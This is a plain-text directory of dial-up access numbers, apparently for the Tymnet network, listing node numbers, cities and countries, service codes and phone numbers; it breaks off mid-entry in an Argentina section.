02545 Alexandria/Fairfax VA USA HIGH B B 703/691‑8200 N 02545 Arlington/Fairfax VA USA HIGH B B 703/691‑8200 N 02545 Fairfax VA USA HIGH B B 703/691‑8200 N 02557 Tyler TX USA LOW B B C 903/581‑8652 Y 02560 Neuchatel CHE E1 C C C (38) 338606 Y 02565 Boise ID USA MED B B 208/343‑0404 N 02566 Pierre SD USA LOW B B C 605/224‑7700 Y 02570 Dayton OH USA MED B B 513/898‑0124 N 02571 Aurora/Denver CO USA HIGH C 303/830‑9032 N TYM‑X25 02571 Boulder/Denver CO USA HIGH C 303/830‑9032 N TYM‑X25 02606 Elizabeth/Newark NJ USA HIGH B B 201/824‑1212 N 02606 Jersey City/Newark NJ USA HIGH B B 201/824‑1212 N 02606 Newark NJ USA HIGH B B 201/824‑1212 N 02606 Union/Newark NJ USA HIGH B B 201/824‑1212 N 02610 Fairfield CA USA LOW B B C 707/421‑0106 Y 02613 Chapel Hill/Durham NC USA HIGH B B 919/549‑8952 N 02613 Durham NC USA HIGH B B 919/549‑8952 N 02614 Lancaster CA USA LOW B B C 805/945‑4962 Y 02616 Manchester MA USA LOW B B C 508/526‑1506 Y 02630 Sherman TX USA LOW B B C 903/868‑0089 Y 02631 Anaheim/Newprt Beach CA USA HIGH B B 714/756‑8341 N 02631 Irvine/Newport Beach CA USA HIGH B B 714/756‑8341 N 02631 Newport Beach CA USA HIGH B B 714/756‑8341 N 02631 Santa Ana/Newprt Bch CA USA HIGH B B 714/756‑8341 N 02635 Richland WA USA MED B B C 509/375‑3367 Y 02640 Peterborough NH USA LOW B B C 603/924‑7090 Y 02644 Anaheim/Newprt Beach CA USA HIGH C 714/752‑1493 Y 02644 Irvine/Newport Beach CA USA HIGH C 714/752‑1493 Y 02644 Newport Beach CA USA HIGH C 714/752‑1493 Y 02644 Santa Ana/Newprt Bch CA USA HIGH C 714/752‑1493 Y 02653 Stamford CT USA HIGH B B 203/965‑0000 N 02655 Colton CA USA MED B B 714/370‑1200 N 02655 Riverside/Colton CA USA MED B B 714/370‑1200 N 02655 San Bernadino/Colton CA USA MED B B 714/370‑1200 N 02657 Pawtucket/Providence RI USA HIGH C 401/751‑8030 Y 02657 Pawtucket/Providence RI USA HIGH B B C 401/273‑0200 Y 02657 Providence RI USA HIGH C 401/751‑8030 Y 02657 Providence RI USA HIGH B B C 401/273‑0200 Y 02657 Warwick/Providence RI USA HIGH C 401/751‑8030 Y 02657 Warwick/Providence RI USA HIGH B B C 401/273‑0200 Y 02665 San Diego CA USA HIGH B B C 619/296‑8747 Y 02666 Jackson MI USA LOW B B C 517/788‑9191 Y 02674 Tupelo MS USA LOW B B C 601/841‑0090 Y 02703 St. Laurent QU CAN CANH C C C 514/747‑2996 Y 02703 Montreal/St. Laurent QU CAN CANH C C C 514/747‑2996 Y 02704 San Francisco CA USA WATS B B C 800/###‑#### Y 02704 San Jose CA USA WATS B B C 800/###‑#### Y 02711 Kingsport TN USA LOW B B C 615/378‑5746 Y 02712 Houston TX USA HIGH B B C 713/496‑1332 Y 02720 La Crosse WI USA LOW B B C 608/784‑9099 Y 02723 Baton Rouge LA USA MED B B 504/924‑5102 N 02737 Salt Lake City UT USA HIGH B B 801/364‑0780 N 02743 Jackson MS USA LOW B B C 601/355‑9741 Y 02752 Stamford CT USA HIGH C 203/324‑2297 Y 02753 San Antonio TX USA HIGH B B 512/225‑8002 N 02770 Tucson AZ USA MED B B C 602/297‑2239 Y 02771 Wheeling WV USA LOW B B C 304/233‑7676 Y 03001 Dallas TX USA HIGH B B 214/638‑8888 N 03031 Aurora IL USA LOW B B 708/844‑0700 N 03031 St. Charles/Aurora IL USA LOW B B 708/844‑0700 N 03035 San Francisco CA USA WATS B B C 800/###‑#### Y 03611 Nashville TN USA HIGH C 615/889‑4044 Y 03611 Nashville TN USA HIGH B B C 615/889‑5790 Y 03614 Mankato MN USA LOW B B C 507/387‑7313 Y 03623 Erie PA USA LOW B B C 814/456‑8501 Y 03624 Raleigh NC USA LOW B B C 919/829‑0536 Y 03627 Belfast GBR E1 C (232) 234467 Y 03630 Idaho Falls ID USA LOW B B C 208/522‑3624 Y 03635 Lafayette LA USA LOW B B C 318/234‑8255 Y 03643 Harrisburg/Lemoyne PA USA MED B B 717/763‑6481 N 03643 Lemoyne PA USA MED B B 717/763‑6481 N 03650 Chicago IL USA HIGH B B C 312/922‑6571 Y 03651 Green Bay WI USA LOW B B C 414/432‑3064 Y 03652 Trenton NJ USA LOW B B C 609/394‑1900 Y 03653 Ft. Wayne IN USA LOW B B C 219/422‑2581 Y 03654 Southfield MI USA MED B B C 313/424‑8024 Y 03656 Evansville IN USA LOW B B C 812/464‑8181 Y 03661 Charleston WV USA LOW B B C 304/345‑9575 Y 03662 Allentown/Bethlehem PA USA MED B B C 215/865‑6978 Y 03662 Bethlehem PA USA MED B B C 215/865‑6978 Y 03663 Mesa/Phoenix AZ USA HIGH C 602/258‑4528 Y 03663 Phoenix AZ USA HIGH C 602/258‑4528 Y 03664 Phoenix AZ USA HIGH C 602/257‑0629 N TYM‑X25 03664 Phoenix AZ USA HIGH C 602/257‑0736 N TYM‑X25 03666 Lansing MI USA MED B B 517/482‑5721 N 03673 Carson City NV USA MED B B C 702/885‑8411 Y 03673 Reno/Carson City NV USA MED B B C 702/885‑8411 Y 03675 Worcester MA USA LOW B B C 508/791‑9000 Y 03677 Joplin MO USA LOW B B C 417/781‑8718 Y 03704 Niagara Falls NY USA LOW B B C 716/285‑2561 Y 03705 Albany NY USA MED B B 518/458‑8300 N 03705 Schenectady/Albany NY USA MED B B 518/458‑8300 N 03706 San Francisco CA USA HIGH B B 415/974‑1300 N 03707 Philadelphia PA USA HIGH C 215/629‑0567 Y 03712 Ottomwa IA USA LOW B B C 515/682‑0857 Y 03720 Winston‑Salem NC USA MED B B C 919/765‑1221 Y 03725 Los Altos/San Jose CA USA HIGH C 408/432‑0804 Y 03725 San Jose CA USA HIGH C 408/432‑0804 Y 03725 Santa Clara/San Jose CA USA HIGH C 408/432‑0804 Y 03725 Sunnyvale/San Jose CA USA HIGH C 408/432‑0804 Y 03726 Billings MT USA LOW B B C 406/252‑4880 Y 03731 Shreveport LA USA LOW B B C 318/688‑5840 Y 03733 Brussels BEL E1 C C C (2) 725‑5060 Y 03733 Brussels BEL E1 C 02‑7255015 N HSA 03737 Clearwater FL USA MED C 813/443‑4515 Y 03752 Rosemont IL USA HIGH B B C 708/698‑9800 Y 03774 Port Angeles WA USA LOW B B C 206/452‑6800 Y 03775 Newark OH USA LOW B B C 614/345‑8953 Y 04000 Longwood/Orlando FL USA MED B B 407/841‑0020 N 04000 Orlando FL USA MED B B 407/841‑0020 N 04003 Agana Heights GUM * C C 671/477‑2222 N 04003 Guatemala City GTM 2 B (2) 345‑999 N TYMUSA 04003 Guatemala City GTM 2 B (2) 345‑599 N TYMUSA 04003 All Cities HND 2 B B 320‑544 N TYMUSA 04003 Afula ISR 3 B B C (6) 596658 N TYMUSA 04003 Ashdod ISR 3 B B C (8) 542999 N TYMUSA 04003 Bezeq ISR 3 B B C (57) 36029 N TYMUSA 04003 Eilat ISR 3 B B C (59) 75147 N TYMUSA 04003 Hadera ISR 3 B B C (6) 332409 N TYMUSA 04003 Haifa ISR 3 B B C (4) 525421 N TYMUSA 04003 Haifa ISR 3 B B C (4) 673235 N TYMUSA 04003 Haifa ISR 3 B B C (4) 674203 N TYMUSA 04003 Haifa ISR 3 B B C (4) 674230 N TYMUSA 04003 Herzeliya ISR 3 B B C (52) 545251 N TYMUSA 04003 Jerusalem ISR 3 B B C (2) 242675 N TYMUSA 04003 Jerusalem ISR 3 B B C (2) 246363 N TYMUSA 04003 Jerusalem ISR 3 B B C (2) 248551 N TYMUSA 04003 Jerusalem ISR 3 B B C (2) 814396 N TYMUSA 04003 Nahariya ISR 3 B B C (4) 825393 N TYMUSA 04003 Netanya ISR 3 B B C (53) 348588 N TYMUSA 04003 Rechovot ISR 3 B B C (8) 469799 N TYMUSA 04003 Tel Aviv ISR 3 B B C (3) 203435 N TYMUSA 04003 Tel Aviv ISR 3 B B C (3) 546‑3837 N TYMUSA 04003 Tel Aviv ISR 3 B B C (3) 751‑2504 N TYMUSA 04003 Tel Aviv ISR 3 B B C (3) 751‑3799 N TYMUSA 04003 Tel Aviv ISR 3 B B C (3)752‑0110 N TYMUSA 04003 Tiberias ISR 3 B B C (6) 790274 N TYMUSA 04003 Tzfat ISR 3 B B C (6) 973282 N TYMUSA 04003 All Cities JAM 2 B B 809/924‑9915 N TYMUSA 04003 Curacao NDA 3 C C (9) 239251 N TYMUSA 04003 Curacao & St. Martin NDA 3 C C 0251 N TYMUSA 04003 All Cities PAN 3 C 636‑727 N TYMUSA 04003 All Cities PAN 3 B B 639‑055 N TYMUSA 04003 Manila PHL 2 B B (2) 815‑1553 N TYMUSA 04003 Manila PHL 2 B B (2) 815‑1555 N TYMUSA 04003 Manila PHL 2 B B (2) 817‑1581 N TYMUSA 04003 Manila PHL 2 B B (2) 817‑1791 N TYMUSA 04003 Manila PHL 2 B B (2) 817‑1796 N TYMUSA 04003 Manila PHL 2 C (2) 521‑7901 N TYMUSA 04003 Manila PHL 2 C (2) 817‑8811 N TYMUSA 04003 Manila PHL 2 C (2) 819‑1009 N TYMUSA 04003 Manila PHL 2 C (2) 819‑1011 N TYMUSA 04003 Manila PHL 2 C (2) 819‑1550 N TYMUSA 04003 Mayaquez/Ponce PRI * B B 809/462‑4213 N 04003 San Juan PRI * C 809/724‑6070 N 04003 San Juan PRI * B B 809/725‑1882 N 04003 San Juan PRI * B B 809/725‑4343 N 04003 San Juan PRI * C C 809/725‑3501 N 04003 San Juan PRI * C C 809/725‑4702 N 04003 Alkobar SAU 5 C (3) 8981025 N TYMUSA 04003 Jeddah SAU 5 C (2) 6691377 N TYMUSA 04003 Jeddah SAU 5 C (2) 6690708 N TYMUSA 04003 Riyadh SAU 5 C (1) 4631038 N TYMUSA 04003 Riyadh SAU 5 C (1) 4658803 N TYMUSA 04003 All Cities TTO 2 C C 809/627‑0854 N TYMUSA 04003 All Cities TTO 2 C C 809/627‑0855 N TYMUSA 04003 Aberdeen GBR 1 C C C (224) 210701 Y TYMUSA 04003 Birmingham GBR 1 C C C (21)633‑3474 Y TYMUSA 04003 Bristol GBR 1 C C C (272) 211545 Y TYMUSA 04003 Cambridge GBR 1 C C C (223) 460127 Y TYMUSA 04003 Cardiff GBR 1 C C C (222) 344184 Y TYMUSA 04003 Chelmsford GBR 1 C C C (245) 491323 Y TYMUSA 04003 Edinburgh GBR 1 C C C (31)313‑2137 Y TYMUSA 04003 Exeter GBR 1 C C C (392) 421565 Y TYMUSA 04003 Glasgow GBR 1 C C C (41)204‑1722 Y TYMUSA 04003 Hastings GBR 1 C C C (424) 722788 Y TYMUSA 04003 Ipswich GBR 1 C C C (473) 210212 Y TYMUSA 04003 Kings Lynn GBR 1 C C C (553) 691090 Y TYMUSA 04003 Leamington GBR 1 C C C (926) 451419 Y TYMUSA 04003 Leeds GBR 1 C C C (532) 440024 Y TYMUSA 04003 Liverpool GBR 1 C C C (51)255‑0230 Y TYMUSA 04003 London (Clerkenwell) GBR 1 C C C (71)490‑2200 Y TYMUSA 04003 Luton GBR 1 C C C (582) 481818 Y TYMUSA 04003 Manchester GBR 1 C C C (61)834‑5533 Y TYMUSA 04003 Newcastle GBR 1 C C C (91)261‑6858 Y TYMUSA 04003 Nottingham GBR 1 C C C (???) 506005 Y TYMUSA 04003 Oxford GBR 1 C C C (865) 798949 Y TYMUSA 04003 Plymouth GBR 1 C C C (752) 603302 Y TYMUSA 04003 Reading GBR 1 C C C (734) 500722 Y TYMUSA 04003 Ayr GBR 1 C C C (292) 611822 Y TYMUSA 04003 Belfast GBR 1 C C C (232) 331284 Y TYMUSA 04003 Benbecula GBR 1 C C C (870) 2657 Y TYMUSA 04003 Brechin GBR 1 C C C (356) 25782 Y TYMUSA 04003 Brecon GBR 1 C C C (874) 3151 Y TYMUSA 04003 Brighton GBR 1 C C C (273) 550046 Y TYMUSA 04003 Campbeltown GBR 1 C C C (586) 52298 Y TYMUSA 04003 Canterbury GBR 1 C C C (227) 762950 Y TYMUSA

04003 Carlisle 612/333‑2799 N

04325 Hempstead NY USA MED B B C 516/485‑7422 Y 04325 Mineola/Hempstead NY USA MED B B C 516/485‑7422 Y 04327 Salem OR USA LOW B B C 503/370‑4314 Y 04330 Lubbock TX USA LOW B B C 806/797‑0765 Y 04340 Brownsville TX USA LOW B B C 512/548‑1331 Y 04343 Dallas TX USA HIGH B B C 214/630‑5516 Y 04353 Beverly Hills/Shr Ok CA USA MED B B C 818/789‑9557 Y 04353 Canoga Park/Shrm Oak CA USA MED B B C 818/789‑9557 Y 04353 San Fernando/Shr Oak CA USA MED B B C 818/789‑9557 Y 04353 Sherman Oaks CA USA MED B B C 818/789‑9557 Y 04353 Van Nuys/Sherman Oak CA USA MED B B C 818/789‑9557 Y 04353 West L.A./Shrmn Oaks CA USA MED B B C 818/789‑9557 Y 04355 Detroit MI USA HIGH C C 313/965‑4982 N TYM‑X25 04360 San Diego CA USA HIGH B B 619/296‑3370 N 04372 Norristown PA USA WATS B B C 800/###‑#### Y 04375 Concord NH USA LOW B B C 603/228‑4732 Y 04376 Merced CA USA LOW B B C 209/383‑7593 Y 04403 Oklahoma City OK USA HIGH B B C 405/495‑9201 Y 04411 Belmont/Redwood City CA USA HIGH B B C 415/361‑8701 Y 04411 Palo Alto/Redwd City CA USA HIGH B B C 415/361‑8701 Y 04411 Redwood City CA USA HIGH B B C 415/361‑8701 Y 04430 Newark/Wilmington DE USA MED B B 302/652‑2060 N 04430 Wilmington DE USA MED B B 302/652‑2060 N 05177 Huntsville AL USA MED B B C 205/882‑1519 Y 05201 Greenville SC USA MED B B C 803/271‑9213 Y 05205 Eindhoven NLD E1 C C C C (4902) 45530 Y 05206 White Plains NY USA HIGH B B 914/328‑7730 N 05211 Eatontown/Red Bank NJ USA LOW B B C 908/758‑0337 Y 05211 Long Branch/Red Bank NJ USA LOW B B C 908/758‑0337 Y 05211 Red Bank NJ USA LOW B B C 908/758‑0337 Y 05215 Hibbing MN USA LOW B B C 218/262‑3824 Y 05221 Florence AL USA LOW B B C 205/760‑0030 Y 05241 Inglewood/Vernon CA USA HIGH B B 213/587‑0030 N 05241 Los Angeles/Vernon CA USA HIGH B B 213/587‑0030 N 05241 Vernon CA USA HIGH B B 213/587‑0030 N 05242 Inglewood/Vernon CA USA HIGH B B 213/587‑0030 N 05242 Los Angeles/Vernon CA USA HIGH B B 213/587‑0030 N 05242 Vernon CA USA HIGH B B 213/587‑0030 N 05250 Quincy IL USA LOW B B C 217/223‑9531 Y 05253 Clarkesville TN USA LOW B B C 615/645‑8877 Y 05256 Durham NH USA LOW B B C 603/868‑1502 Y 05260 Spokane WA USA MED B B 509/624‑1549 N 05264 Rocky Mount NC USA LOW B B C 919/937‑4828 Y 05277 Philadelphia PA USA HIGH B B C 215/592‑8750 Y 05304 Fort Pierce FL USA LOW B B C 407/466‑5661 Y 05307 Peoria IL USA LOW B B C 309/637‑5961 Y 05325 Colton CA USA MED B B C 714/422‑0222 Y 05325 Riverside/Colton CA USA MED B B C 714/422‑0222 Y 05325 San Bernadino/Colton CA USA MED B B C 714/422‑0222 Y 05333 Bloomfield CT USA HIGH C 203/286‑0712 N TYM‑X25 05333 Hartford/Bloomfield CT USA HIGH C 203/286‑0712 N TYM‑X25 05341 Alameda/Oakland CA USA HIGH B B C 510/633‑1896 Y 05341 Berkeley/Oakland CA USA HIGH B B C 510/633‑1896 Y 05341 Hayward/Oakland CA USA HIGH B B C 510/633‑1896 Y 05341 Oakland CA USA HIGH B B C 510/633‑1896 Y 05350 Antioch CA USA LOW B B C 510/754‑8222 Y 05363 Brussels BEL E1 206/221‑0450 N DCS GATEWAY 05365 Wausau WI USA LOW B B C 715/848‑6171 Y 05366 Pontiac MI USA LOW B B C 313/338‑8384 Y 05402 Dallas TX USA HIGH C 214/634‑0833 N TYM‑X25 05402 Dallas TX USA HIGH C 214/634‑0834 N TYM‑X25 05402 Dallas TX USA HIGH C 214/634‑0834 N TYM‑X25 05410 Minneapolis MN USA HIGH C 612/332‑2580 N TYM‑X25 05410 St. Paul/Minneapolis MN USA HIGH C 612/332‑2580 N TYM‑X25 05410 Minneapolis MN USA HIGH C 612/332‑2680 N TYM‑X25 05410 St. Paul/Minneapolis MN USA HIGH C 612/332‑2680 N TYM‑X25 05415 Wichita Falls TX USA LOW B B C 817/723‑2386 Y 05417 Marseille FRA E1 C C C (91) 259933 Y 05431 Opelika AL USA LOW B B C 205/742‑9040 Y 06515 Charlotte NC USA HIGH C 704/329‑0104 Y 06522 Pawtucket/Providence RI USA HIGH B B C 401/273‑0200 Y 06522 Providence RI USA HIGH B B C 401/273‑0200 Y 06522 Warwick/Providence RI USA HIGH B B C 401/273‑0200 Y 06525 New Orleans LA USA HIGH B B C 504/525‑2014 Y 06532 New Orleans LA USA HIGH B B 504/522‑1370 N 06544 Piscataway NJ USA HIGH B B C 908/562‑8550 Y 06560 Rostock FRG E1 C C C (81)36622404 Y 06562 Dublin IRL E2 C C C (1)67 98 924 Y 06564 Everett WA USA LOW B B C 206/258‑1018 Y 06567 Vicksburg MS USA LOW B B C 601/638‑1551 Y 06570 Pittsburgh PA USA HIGH C 412/642‑2271 N 06574 Miami FL USA HIGH B B C 305/599‑2900 Y 06577 Boston MA USA HIGH B B C 617/439‑3531 Y 06577 Cambridge/Boston MA USA HIGH B B C 617/439‑3531 Y 06605 San Jose CA USA HIGH B B C 408/432‑8618 Y 06605 Santa Clara/San Jose CA USA HIGH B B C 408/432‑8618 Y 06605 Sunnyvale/San Jose CA USA HIGH B B C 408/432‑8618 Y 06614 Akron OH USA MED B B C 216/376‑8330 Y 06626 Lexington KY USA MED B B 606/266‑0019 N 06641 Kingston MA USA LOW B B C 617/582‑1200 Y 06651 Aurora/Denver CO USA HIGH C 303/830‑8530 Y 06651 Boulder/Denver CO USA HIGH C 303/830‑8530 Y 06651 Denver CO USA HIGH C 303/830‑8530 Y 06667 Reading/Mt. Penn PA USA MED B B C 215/796‑9000 Y 06667 Mt. Penn PA USA LOW B B C 215/796‑9000 Y 06670 Barcelona ESP E2 C C C (3) 4155082 Y 06673 Aberdeen MD USA LOW B B C 410/273‑0872 Y 06674 Houston TX USA HIGH B B 713/556‑6700 N 06675 State College PA USA LOW B B C 814/234‑3853 Y 06704 Houston TX USA HIGH B B 713/556‑6700 N 06715 Midlothian/Richmond VA USA MED B B 804/330‑2465 N 06715 Richmond VA USA MED B B 804/330‑2465 N 06733 Los Angeles/Vernon CA USA HIGH C 213/588‑4712 N TYM‑X25 06733 Inglewood/Vernon CA USA HIGH C 213/588‑4712 N TYM‑X25 06733 Vernon CA USA HIGH C 213/588‑4712 N TYM‑X25 06733 Los Angeles/Vernon CA USA HIGH C 213/588‑4639 N TYM‑X25 06733 Inglewood/Vernon CA USA HIGH C 213/588‑4639 N TYM‑X25 06733 Vernon CA USA HIGH C 213/588‑4639 N TYM‑X25 06754 Kitchener ON CAN CANL C C C 519/742‑7613 Y 06755 Coatesville PA USA LOW B B C 215/383‑0440 Y 06755 Downington/Coatsvlle PA USA LOW B B C 215/383‑0440 Y 06762 Marquette MI USA LOW B B C 906/228‑3780 Y 06771 Ft. Smith AR USA LOW B B C 501/782‑2486 Y 06774 Topeka KS USA LOW B B C 913/234‑3070 Y 07001 Boston MA USA HIGH B B 617/439‑3400 N 07001 Cambridge/Boston MA USA HIGH B B 617/439‑3400 N 07005 Detroit MI USA HIGH C 313/964‑1225 Y 07024 Longview TX USA LOW B B C 903/236‑7475 Y 07025 Madison WI USA LOW B B C 608/242‑0227 Y 07026 Madison WI USA LOW B B C 608/242‑0227 Y 07031 Albany GA USA LOW B B C 912/888‑9282 Y 07042 Nashua NH USA MED B B C 603/882‑0435 Y 07042 Salem/Nashua NH USA MED B B C 603/882‑0435 Y 07043 Sarasota FL USA LOW B B C 813/952‑9000 Y 07057 New York NY USA HIGH C 212/797‑2792 N TYM‑X25 07057 New York NY USA HIGH C 212/797‑2790 N TYM‑X25 07075 Cincinnati OH USA HIGH B B 513/530‑9019 N 07100 Los Altos/San Jose CA USA HIGH B B C 408/432‑8618 Y 07100 San Jose CA USA HIGH B B C 408/432‑8618 Y 07100 Santa Clara/San Jose CA USA HIGH B B C 408/432‑8618 Y 07100 Sunnyvale/San Jose CA USA HIGH B B C 408/432‑8618 Y 07102 Hutchinson KS USA LOW B B C 316/663‑2192 Y 07107 Barre/Montpelier VT USA LOW B B 802/229‑4508 N 07107 Montpelier VT USA LOW B B 802/229‑4508 N 7117 Fremont CA USA MED B B C 510/490‑7366 Y 07126 Rolla MO USA LOW B B C 314/364‑2084 Y 07140 Cincinnati OH USA HIGH C 513/489‑1032 Y 07143 Portland OR USA HIGH C 503/225‑1918 Y 07144 Portland OR USA HIGH B B C 503/222/2151 Y 07145 Portland OR USA HIGH C 503/225‑1918 Y 07145 Portland OR USA HIGH B B C 503/222‑2151 Y 07147 Portland OR USA HIGH B B 503/222‑0900 N 07150 Boca Raton/Delray FL USA LOW B B C 407/272‑7900 Y 07150 Delray FL USA LOW B B C 407/272‑7900 Y 07157 Rosewell NM USA LOW B B C 505/623‑3591 Y 07162 Perinton/Pittsford NY USA HIGH C 716/586‑4100 Y 07162 Perinton/Pittsford NY USA HIGH C 716/586‑4858 N TYM‑X25 07162 Rochester/Pittsford NY USA HIGH C 716/586‑4100 Y 07162 Pittsford NY USA HIGH C 716/586‑4100 Y 07162 Pittsford NY USA HIGH C 716/586‑4858 N TYM‑X25 07162 Rochester/Pittsford NY USA HIGH C 716/586‑4858 N TYM‑X25 07162 Perinton/Pittsford NY USA HIGH C 716/586‑4829 N TYM‑X25 07162 Pittsford NY USA HIGH C 716/586‑4829 N TYM‑X25 07162 Rochester/Pittsford NY USA HIGH C 716/586‑4829 N TYM‑X25 07175 Myrtle Beach SC USA LOW B B C 803/448‑1619 Y 07177 Copenhagen DNK E2 C C C 31‑18‑63‑33 Y 07205 Los Altos/San Jose CA USA HIGH B B 408/432‑3430 N 07205 San Jose CA USA HIGH B B 408/432‑3430 N 07205 Santa Clara/San Jose CA USA HIGH B B 408/432‑3430 N 07205 Sunnyvale/San Jose CA USA HIGH B B 408/432‑3430 N 07210 Fall River/Somerset MA USA LOW B B C 508/676‑3087 Y 07210 Somerset MA USA LOW B B C 508/676‑3087 Y 07214 Middletown RI USA LOW B B C 401/849‑1660 Y 07214 Newport/Middletown RI USA LOW B B C 401/849‑1660 Y 07220 Bridgeport CT USA MED B B 203/579‑1479 N 07220 Stratford/Bridgeprt CT USA MED B B 203/579‑1479 N 07221 Atlantic City NJ USA LOW B B C 609/345‑4050 Y 07223 Dayton OH USA MED B B C 513/898‑0696 Y 07226 Ogden UT USA LOW B B C 801/393‑5280 Y 07227 Mexico C(Xochimilco) MEX MX B B B (5)6754911 N 07227 Mexico C(Xochimilco) MEX MX B B B (5)6754072 N 07227 Mexico C(Xochimilco) MEX MX B B B (5)6754635 N 07227 Mexico C(Xochimilco) MEX MX B B B (5)6753173 N 07227 Mexico C(Xochimilco) MEX MX B B B (5)6753372 N 07227 Mexico C(Xochimilco) MEX MX B B B (5)6753629 N 07236 White Plains NY USA HIGH B B C 914/761‑9590 Y 07240 White Plains NY USA HIGH C 914/761‑5377 Y 07241 Greenville NC USA LOW B B C 919/758‑0102 Y 07242 High Point NC USA LOW B B C 919/883‑6121 Y 07246 San Francisco CA USA HIGH C 415/896‑5578 N TYM‑X25 07247 San Antonio TX USA HIGH B B C 512/222‑9877 Y 07250 Curacao NDA 3 C C (9)239251 N TYMUSA 07250 Curacao NDA 3 C C 0251 (LOCAL) TYMUSA 07270 Gibraltar GIB E2 C C C (350) 41000 Y 07272 Greenville SC USA MED C 803/370‑9014 Y 07301 Rome GA USA LOW B B C 404/234‑0102 Y 07302 San Francisco CA USA HIGH B B C 415/543‑0691 Y 07303 Danville IL USA LOW B B C 217/442‑1452 Y 07306 Davenport/RockIsland IA USA MED B B C 309/788‑3713 Y 07306 Rock Island IL USA MED B B C 309/788‑3713 Y 07313 Melbourne AUS PAC C C C (3)416‑2146 Y 07320 San Francisco CA USA HIGH B B C 415/543‑0691 Y 07322 Greeley CO USA LOW B B C 303/352‑0960 Y 07331 Levittown PA USA LOW B B 215/943‑3700 N 07332 Pittsfield MA USA LOW B B C 413/499‑0971 Y 07336 Ardmore OK USA LOW B B C 405/226‑1260 Y 07340 Grand Forks ND USA LOW B B C 701/746‑0344 Y 07344 Lynn MA USA LOW B B C 617/592‑0207 Y 07346 San Francisco CA USA HIGH B B C 415/543‑0691 Y 07364 Corning NY USA LOW B B C 607/962‑4481 Y 07370 Spartanburg SC USA LOW B B C 803/579‑7088 Y 07375 Hanover NH USA LOW B B C 603/643‑4011 Y 07404 Long Beach CA USA MED B B C 310/436‑6033 Y 07404 Norwalk/Long Beach CA USA MED B B C 310/436‑6033 Y 07404 San Pedro/Long Beach CA USA MED B B C 310/436‑6033 Y 07406 Akita JPN PAC C C 0188‑65‑5733 N 07406 Akita JPN PAC C 0188‑65‑5735 N 07406 Atsugi JPN PAC C C 0462‑21‑0404 N 07406 Atsugi JPN PAC C 0462‑21‑5331 N 07406 Atsugi JPN PAC C C C 0462‑22‑7154 Y 07406 Chiba JPN PAC C C 0472‑96‑3581 N 07406 Chiba JPN PAC C C C 0472‑96‑0279 Y 07406 Fukui JPN PAC C C 0776‑35‑8840 N 07406 Fukui JPN PAC C 0776‑34‑3308 N 07406 Fukuoka JPN PAC C C 092‑474‑7196 N 07406 Fukuoka JPN PAC C 092‑474‑7076 N 07406 Fukuoka JPN PAC C C C 092‑461‑2769 Y 07406 Hamamatsu JPN PAC C 0534‑56‑7355 N 07406 Hamamatsu JPN PAC C C 0534‑56‑7231 N 07406 Hiroshima JPN PAC C C 082‑243‑9270 N 07406 Hiroshima JPN PAC C C C 082‑241‑6857 Y 07406 Kagoshima JPN PAC C C 0992‑22‑8954 N 07406 Kanazawa JPN PAC C C 0762‑24‑2341 N 07406 Kanazawa JPN PAC C C C 0762‑24‑7792 Y 07406 Kobe JPN PAC C C 078‑333‑0552 N 07406 Kobe JPN PAC C 078‑333‑0587 N 07406 Kouriyama JPN PAC C C 0249‑38‑5396 N 07406 Kumamoto JPN PAC C C 096‑354‑3065 N 07406 Kumamoto JPN PAC C 096‑355‑5233 N 07406 Kyoto JPN PAC C C 075‑431‑6203 N 07406 Kyoto JPN PAC C 075‑431‑6205 N 07406 Matsuyama JPN PAC C C 0899‑32‑4207 N 07406 Matsuyama JPN PAC C 0899‑32‑2975 N 07406 Matsuyama JPN PAC C C C 0899‑32‑2865 Y 07406 Mito JPN PAC C C 0292‑24‑4213 N 07406 Morioka JPN PAC C C 0196‑54‑7315 N 07406 Morioka JPN PAC C C C 0196‑22‑3885 Y 07406 Nagasaki JPN PAC C C 0958‑28‑6077 N 07406 Nagoya JPN PAC C C 052‑981‑3221 N 07406 Nagoya JPN PAC C 052‑911‑1621 N 07406 Nagoya JPN PAC C C C 052‑991‑4521 Y 07406 Naha JPN PAC C C 0988‑61‑3414 N 07406 Naha JPN PAC C 0988‑61‑4002 N 07406 Niigata JPN PAC C C 025‑241‑5410 N 07406 Niigata JPN PAC C C C 025‑241‑5409 Y 07406 Ohita JPN PAC C C 0975‑38‑2160 N 07406 Okayama JPN PAC C C 0862‑31‑4993 N 07406 Okayama JPN PAC C 0862‑32‑6760 N 07406 Osaka JPN PAC C 06‑271‑9029 N 07406 Osaka JPN PAC C C 06‑271‑6876 N 07406 Osaka JPN PAC C 06‑271‑9028 N 07406 Osaka JPN PAC C C C 06‑264‑9951 Y 07406 Sapporo JPN PAC C C 011‑281‑4421 N 07406 Sapporo JPN PAC C 011‑281‑4343 N 07406 Sapporo JPN PAC C C C 011‑210‑5962 Y 07406 Sendai JPN PAC C C 022‑231‑5355 N 07406 Sendai JPN PAC C C C 022‑231‑5741 Y 07406 Shizuoka JPN PAC C C 0542‑84‑3398 N 07406 Shizuoka JPN PAC C C C 0542‑84‑3393 Y 07406 Takamatsu JPN PAC C C 0878‑23‑0501 N 07406 Takamatsu JPN PAC C 0878‑23‑0502 N 07406 Takasaki JPN PAC C C 0273‑23‑9739 N 07406 Tokuyama JPN PAC C C 0834‑32‑0991 N 07406 Tokyo JPN PAC C 03‑3555‑9526 N 07406 Tokyo JPN PAC C C 03‑3555‑9696 N N 07406 Tokyo JPN PAC C 03‑3555‑9525 N 07406 Tokyo JPN PAC C C C 03‑3288‑6461 Y 07406 Toyama JPN PAC C C 0764‑41‑7769 N 07406 Toyama JPN PAC C 0764‑41‑7578 N 07406 Tsuchiura JPN PAC C C 0298‑55‑6121 N 07406 Urawa JPN PAC C C 048‑833‑9341 N 07406 Utsunomiya JPN PAC C C 0286‑34‑8251 N 07406 Utsunomiya JPN PAC C C C 0286‑37‑4378 Y 07406 Yokohama JPN PAC C C 045‑453‑7637 N 07406 Yokohama JPN PAC C 045‑453‑7757 N 07406 Yokohama JPN PAC C C C 045‑453‑7758 Y 07406 Yonago JPN PAC C C 0859‑32‑3201 N 07406 Nagasaki JPN PAC C 0958‑28‑6088 N 07406 Nagano JPN PAC C C 0262‑34‑3900 N 07406 Tokyo JAP PAC C C 03‑3262‑7517 N TYM‑X25 07406 Tokyo JAP PAC C 03‑5275‑3829 Y NEW NUMBER 07407 Buenos Aires ARG 2 C (1) 40‑01‑91 N TYMUSA 07407 Buenos Aires ARG 2 C (1) 40‑01‑92 N TYMUSA 07407 Buenos Aires ARG 2 C (1) 40‑01‑93 N TYMUSA 07407 Buenos Aires ARG 2 C (1) 40‑01‑94 N TYMUSA 07407 Buenos Aires ARG 